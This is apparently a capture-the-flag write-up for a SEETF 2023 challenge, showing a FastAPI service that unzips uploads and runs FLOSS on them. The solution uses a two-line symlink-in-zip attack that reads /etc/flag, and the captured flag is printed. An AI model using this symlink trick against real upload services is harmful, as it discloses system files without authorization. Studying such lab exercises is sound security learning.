ctf-writeup/2023/SEETF 2023/🎓Throw your malware here!/README.md

4.1 KiB

🎓Throw your malware here!

FLOSS is the superior "strings", so I've decided to run it as a SAAS! Enough with the obfuscated code that the pigeon keeps throwing at me!

In fact, I decided to handle all types of files, even non-PE files and password-protected zip files!

Flag is located at /etc/flag

About the Challenge

We were given a source code called app.py (You can download the file here) and here is the content of the file

from typing import Optional
import zipfile
import random
import shutil
import string
import subprocess
from pathlib import Path

import pefile
from fastapi import FastAPI, HTTPException, UploadFile
from fastapi.responses import JSONResponse


FILE_CACHE = Path("/app/cache")
FLOSS_PATH = Path("/usr/local/bin/floss")

app = FastAPI()


def get_random_string(length: int = 16) -> str:
    # choose from all lowercase letter
    letters = string.ascii_lowercase
    return "".join(random.choice(letters) for _ in range(length))


@app.on_event("startup")
def startup():
    # Ensure caches exist
    if not FILE_CACHE.is_dir():
        FILE_CACHE.mkdir()


def run_floss(target: Path) -> str:
    args = [str(target), "--json"]
    try:
        pefile.PE(name=str(target))
    except pefile.PEFormatError:
        args.extend(("--only", "static"))
    output = subprocess.check_output((FLOSS_PATH, *args))
    return output.decode()


@app.post("/floss")
def floss_endpoint(sample: UploadFile, password: Optional[str]) -> JSONResponse:
    random_path = get_random_string()
    while (target_path := FILE_CACHE / random_path).exists():
        random_path = get_random_string()
    with target_path.open("wb+") as f:
        shutil.copyfileobj(sample.file, f)
    is_zipfile = zipfile.is_zipfile(target_path)
    if is_zipfile:
        with zipfile.ZipFile(target_path) as f:
            # No zip bombs!
            file_size_sum = sum(data.file_size for data in f.filelist)
            compressed_size_sum = sum(data.compress_size for data in f.filelist)
            if (file_size_sum / compressed_size_sum > 10):
                raise HTTPException(413, "Zip Bomb Detected")

            zipobjects = f.infolist()
            if any(zipobject.file_size > 50000 for zipobject in zipobjects):
                raise HTTPException(418, "I'm a teapot!")
            files = f.namelist()
        args = ["unzip"]
        if password:
            args.extend(("-P", password))
        args.extend((str(target_path), "-d", f"{FILE_CACHE / random_path}-zip"))
        a = subprocess.run(args)
        if a.returncode != 0:
            raise HTTPException(422, "Invalid password!")
        targets = [FILE_CACHE / f"{random_path}-zip" / file for file in files]
    else:
        targets = [target_path]
    results = [run_floss(target) for target in targets]
    return JSONResponse(
        {target.name: result for target, result in zip(targets, results)}
        if is_zipfile
        else results[0]
    )

The program accepts a file upload via the /floss endpoint and analyzes the uploaded file using FLOSS. It first saves the uploaded file to a cache directory. If the uploaded file is a ZIP archive, it checks for zip bomb and teapot conditions to prevent malicious or large files from being processed.

If the file is a ZIP archive, it extracts its contents to a separate directory in the cache. Otherwise, it directly analyzes the uploaded file. For each file (or extracted file in the case of a ZIP archive), it runs the run_floss() function, which invokes FLOSS to perform the analysis. The output is returned as a JSON response.

How to Solve?

To solve this chall, im using this website as a reference. We can read the content of /etc/flag by using zipslip vulnerability. Here is the command I used

ln -s ../../../etc/flag awikwok.link
zip -P password --symlink awikwok.zip awikwok.link

And then upload to the website to obtain the flag

flag

SEE{i_just_wanted_to_be_kind_and_run_a_floss_web_api_man}